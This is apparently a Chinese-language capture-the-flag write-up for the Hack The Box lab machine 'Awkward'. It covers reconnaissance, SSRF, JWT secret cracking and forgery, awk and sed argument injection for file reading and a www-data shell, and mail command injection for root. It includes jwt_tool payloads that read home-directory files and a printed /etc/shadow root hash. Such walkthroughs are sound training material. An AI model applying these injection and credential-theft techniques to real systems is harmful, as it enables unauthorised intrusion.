基本信息
端口扫描
22和80:
1 | nmap -sC -sV -Pn 10.10.11.185 |
80
需要加hosts:
1 | 10.10.11.185 hat-valley.htb |
app.js
/js/app.js中可以得到一些路由(也可以在后面的ssrf中得到):
1 | var baseURL = "/api/" |
子域名扫描
子域名可以发现一个store:
1 | ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u "http://hat-valley.htb/" -H 'Host: FUZZ.hat-valley.htb' -fs 132 |
需要登录:
#hat-valley.htb
hr to dashboard
http://hat-valley.htb/hr 也是需要登录,默认cookie是guest,修改为其他任意,可以访问到dashboard:
staff-details
staff-details api 未授权,得到一些用户名和密码hash,可以破解出来其中christopher.jones的密码:
1 | curl http://hat-valley.htb/api/staff-details | jq |
hr again
回到hr那里,得到的账号密码正常登录,得到有效JWT,JWT也可以破解出来密钥:
1 | python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY2Njc3MTE2fQ.hNfctPivZ8nIAbiyDgE_sKMUxTrvJs0xu1S2SKhzAWw -d ~/Tools/dict/rockyou.txt -C |
store-status SSRF
store-status那里可以SSRF,发现3002端口泄漏代码:
1 | http://hat-valley.htb/api/store-status?url=%22http:%2F%2F127.0.0.1:3002%22 |
awk 参数注入
查看上面的代码,之前是有非预期命令注入的,现在已经修复了,预期方案是jwt伪造用户名,注入到awk中,达成任意文件读取效果:
1 | exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => { |
LFI
一步步读取文件,得到bean用户的密码
/home/bean/.bashrc
1 | python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY2Njc3MTE2fQ.hNfctPivZ8nIAbiyDgE_sKMUxTrvJs0xu1S2SKhzAWw -pc username -pv "/' /home/bean/.bashrc 'a" -p 123beany123 -S hs256 -I |
/home/bean/Documents/backup_home.sh
1 | python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY2Njc3MTE2fQ.hNfctPivZ8nIAbiyDgE_sKMUxTrvJs0xu1S2SKhzAWw -pc username -pv "/' /home/bean/Documents/backup_home.sh 'a" -p 123beany123 -S hs256 -I |
bean_backup_final.tar.gz
这个压缩包中的另一个压缩包,配置文件中得到bean的密码
1 | python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY2Njc3MTE2fQ.hNfctPivZ8nIAbiyDgE_sKMUxTrvJs0xu1S2SKhzAWw -pc username -pv "/' /home/bean/Documents/backup/bean_backup_final.tar.gz 'a" -p 123beany123 -S hs256 -I |
user flag
bean ssh登录:
store
store前面看是需要密码的,现在可以去读配置文件,破解不出来,但其实就是bean用户的密码:
1 | bean@awkward:/var/www/store$ cat /etc/nginx/conf.d/.htpasswd |
结合代码中相关说明,现在没有使用数据库,使用本地文件进行相关处理
代码审计发现,cart_actions.php中删除cart时调用sed,可以进行命令注入,但过滤了很多字符,不能直接使用gtfobins中常规利用方式:
1 | $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!! |
查看sed文档,可以发现-e参数:
1 | -e script, --expression=script add the script to the commands to be executed |
所以可以像这样进行利用:
1 | system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}"); |
cart_actions.php
1 |
|
www-data shell
在购物车中添加一个商品,然后去服务器上查看文件:
1 | bean@awkward:/var/www/store/cart$ cat 557e-1746-524-ee64 |
我们不能直接编辑这个文件,但我们可以删除文件后创建一个新的:
1 | bean@awkward:/var/www/store/cart$ rm 557e-1746-524-ee64 |
修改完成后删除购物车中商品,删除时同样要拦截请求修改其中数据,触发命令执行:
这样得到的是www-data shell:
提权信息
运行pspy可以发现,当有新的请假请求时,会调用mail命令拼接对应csv文件中的name,这个文件我们现在的www-data有权限编辑:
所以这里是另一个命令注入
提权 & root flag
1 | bean@awkward:/var/www/store/cart$ cat /tmp/priv.sh |
shadow
1 | root:$y$j9T$ZIlTVYLPszqZujGML5./W.$HD3g2FwVlePYbdiEVZ7YyKXtIl3IoenZkQLVx5VhH92:19250:0:99999:7::: |
参考资料
- Awkward - HTB [Discussion] | BreachForums
https://breached.to/Thread-Awkward-HTB-Discussion - HackTheBox (HTB) Writeup: Awkward [Medium] – meowmeowattack
https://meowmeowattack.wordpress.com/2022/10/24/hackthebox-htb-writeup-awkward/ - Hackthebox Awkward Writeup | 0xDedinfosec Blog
https://0xdedinfosec.vercel.app/post/hackthebox-awkward-writeup